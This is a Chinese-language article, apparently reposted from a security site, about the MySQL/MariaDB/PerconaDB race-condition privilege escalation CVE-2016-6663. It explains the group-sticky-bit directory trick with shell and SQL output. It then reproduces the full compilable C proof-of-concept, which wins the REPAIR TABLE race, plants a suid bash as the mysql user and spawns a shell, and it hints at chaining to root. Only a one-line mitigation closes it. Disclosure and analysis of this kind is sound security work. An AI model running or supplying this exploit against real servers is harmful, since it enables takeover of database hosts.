攻击者可以预设置poctab1.MYD权限为04777(suid)，然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题，suid shell将只会保留攻击者的UID，而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件，然而mysql表文件又不具有写权限。
可以通过新建一个具有组粘帖位（group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录，并赋予组粘帖位（group sticky bit)
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/通过data directory参数指定存储目录为/tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';再次查看/tmp/disktable/权限
Query OK, 0 rows affected (0.00 sec)
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/我们可以看到poctab2.MYD表已经是'mysql'权限了，但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
漏洞验证：
POC
------------------[ mysql-privesc-race.c ]--------------------视频参考：http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
临时解决办法：
在my.cnf中添加
symbolic-links = 0
参考链接：http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
原文链接：http://bobao.360.cn/learning/detail/3152.html
收起阅读 »
